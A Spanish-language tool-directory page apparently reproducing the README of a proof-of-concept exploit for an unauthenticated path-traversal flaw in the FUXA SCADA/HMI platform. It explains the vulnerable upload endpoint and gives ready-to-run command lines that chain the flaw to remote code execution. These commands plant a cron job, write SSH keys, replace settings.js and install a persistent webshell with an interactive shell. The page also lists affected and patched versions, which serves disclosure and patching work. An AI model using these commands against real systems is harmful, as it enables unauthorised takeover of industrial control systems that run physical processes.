Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
FUXAPWN — Exploit POC para CVE-2026-25895 FUXA: Path Traversal sin autenticación -> Escritura arbitraria de archivos -> RCE | Kitploit
Herramientas/GitHubGitHub/hann1bl3l3ct3r/fuxapwn
Escalada de PrivilegiosReconocimientoMecanismos de PersistenciaAnálisis de VulnerabilidadesExplotaciónMovimiento LateralSeguridad SCADA/ICSExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónDesarrollo de Payloads
221hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubhann1bl3l3ct3r/fuxapwn

FUXAPWN

Exploit POC para CVE-2026-25895 FUXA: Path Traversal sin autenticación -> Escritura arbitraria de archivos -> RCE

Ver Repositorio

CVE-2026-25895 — FUXA <= 1.2.9 Path Traversal no autenticado a Ejecución Remota de Código

Escritura arbitraria de archivos no autenticada (pre-auth) contra FUXA, una plataforma SCADA/HMI basada en Node.js. Encadena a ejecución remota de código mediante varias primitivas posteriores a la escritura. Funciona incluso cuando secureEnabled = true (autenticación activada) porque el endpoint vulnerable no tiene middleware asociado.

También disponible en ExploitDB: https://www.exploit-db.com/exploits/52568

CampoValor
ID CVECVE-2026-25895
AfectadoFUXA <= 1.2.9
ParcheadoFUXA 1.2.10
Proveedorfrangoteam / FUXA
Vector de ataqueRed (HTTP/HTTPS)
AutenticaciónNo se requiere
ImpactoEscritura arbitraria de archivos, ejecución remota de código
CVSS v3.19.8 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
InvestigadorAnthony Cihan (Hann1bl3L3ct3r)

Resumen

El endpoint POST /api/upload de FUXA (server/api/projects/index.js:193) está registrado sin middleware, omitiendo tanto la comprobación secureFnc de JWT / clave API como la compuerta de permisos de administrador aplicada a todos los demás endpoints de gestión de proyectos. Dentro del manejador, el campo destination del cuerpo JSON se concatena a una ruta del sistema de archivos con solo un guion bajo inicial y sin normalización ni comprobación de contención:

let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath          = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);

Un valor de destination con la forma a/../../../../../etc (donde a absorbe el prefijo de guion bajo inicial) hace que path.resolve de Node salga de appDir hacia cualquier ubicación en la que el proceso de FUXA pueda escribir. Debido a que fs.writeFileSync está precedido por un fs.mkdirSync(dir, { recursive: true }) condicional, el atacante también puede crear los directorios padre según sea necesario.

El resultado es una primitiva de escritura arbitraria de archivos no autenticada, accesible en el puerto HTTP por defecto (1881), explotable pre-auth independientemente de si el administrador de FUXA ha habilitado el inicio de sesión.

Impacto

Un atacante remoto no autenticado puede:

  • Escribir o sobrescribir cualquier archivo al que la cuenta de servicio de FUXA pueda acceder
  • Reemplazar settings.js para lograr ejecución de código en el siguiente reinicio de FUXA
  • Colocar una tarea cron (/etc/cron.d/<file>) para ejecución de código en menos de 60 segundos cuando FUXA se ejecuta como root (el valor por defecto en la imagen Docker del proveedor)
  • Instalar un listener de webshell HTTP vinculado dentro del proceso Node de FUXA
  • Colocar claves públicas SSH en /root/.ssh/authorized_keys o en el ~/.ssh/authorized_keys de cualquier usuario
  • Enumerar la cuenta de usuario local que ejecuta FUXA y otras cuentas presentes en el host mediante un canal lateral a nivel del sistema de archivos

Este es un hallazgo de severidad crítica pre-auth en una plataforma ICS/SCADA utilizada para operar procesos industriales.

Versiones Afectadas

VersiónEstado
<= 1.2.9Vulnerable
1.2.10+Parcheado

Explotación confirmada contra una instalación limpia de FUXA 1.2.9 en Ubuntu Server.

Prueba de Concepto

Script Python 3 de un solo archivo, con una única dependencia de terceros (requests).

pip install requests
python3 fuxapwn.py --help

Reconocimiento rápido no autenticado

Identifica el usuario del SO en ejecución, la exposición de Node-RED y cualquier otra cuenta en el host sin escribir nada inusual:

python3 fuxapwn.py -u http://target:1881 --mode recon \
    --probe-root --probe-home

Demostrar la primitiva de escritura

Escribe un marcador neutral /tmp/healthcheck (sin IOCs específicos del CVE en el nombre del archivo ni en el contenido):

python3 fuxapwn.py -u http://target:1881 --mode canary

RCE de un solo disparo

Si FUXA se ejecuta como root, coloca un archivo cron que se active en menos de 60 segundos sin necesidad de reiniciar FUXA:

python3 fuxapwn.py -u http://target:1881 --mode cron \
    --cron-cmd 'id > /tmp/fx.txt 2>&1'

Webshell persistente mediante el reemplazo de settings.js

Instala un listener de webshell HTTP dentro del proceso Node de FUXA (se activa en el siguiente arranque en frío, ya que require() almacena en caché los módulos) y luego inicia un REPL interactivo cuando FUXA se reinicie:

# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
    --appdata /opt/FUXA/server/_appdata --ws-port 31337

# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
    --ws-host target --ws-port 31337 \
    --ws-path /_abc123 --ws-token <printed-above> --interact

Modos de Funcionamiento

ModoPropósito
reconFuga de información no autenticada mediante GET /api/settings; deduce el usuario del SO en ejecución a partir de rutas absolutas; informa del estado de Node-RED; sondas activas opcionales --probe-root y --probe-home
canaryPrueba de la primitiva de escritura de archivos con una ruta neutral por defecto
settings-rceReemplaza settings.js con un payload que ejecuta un comando configurable en el siguiente arranque en frío de FUXA
ssh-keyEscribe una clave pública en el authorized_keys de un usuario objetivo
dropColocación arbitraria de archivos en cualquier ruta absoluta
cronColoca /etc/cron.d/<name> para lograr RCE en menos de 60 segundos sin esperar un reinicio de FUXA (requiere que FUXA se ejecute como root)
webshellInstala un listener de webshell HTTP dentro del proceso Node de FUXA mediante el reemplazo de settings.js (se activa en el siguiente arranque en frío)
webshell-execCliente para una webshell ya instalada; comando único o REPL con --interact

Referencia completa de flags por modo: python3 fuxapwn.py --help.

Notas Técnicas

Fuga de configuración no autenticada

GET /api/settings (server/api/index.js:103) está registrado sin middleware y devuelve la configuración de runtime en vivo, ligeramente depurada (el servidor elimina secretCode y smtp.password antes de enviarla). Los campos restantes filtran rutas absolutas (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) que normalmente identifican al usuario del servicio, además de nodeRedEnabled, que es un indicador directo de una vía secundaria de RCE no autenticada (ver más abajo).

Enumeración del usuario en ejecución en instalaciones no root y no Docker

Cuando FUXA se lanza mediante npm start bajo una cuenta de usuario local y las rutas de instalación no incorporan el nombre del usuario (p. ej., la instalación se encuentra en /opt, /tmp o un /app genérico), y /root/ no es escribible, el POC recurre a iterar /home/<candidate>/ con escrituras de cero bytes.

Descargar herramienta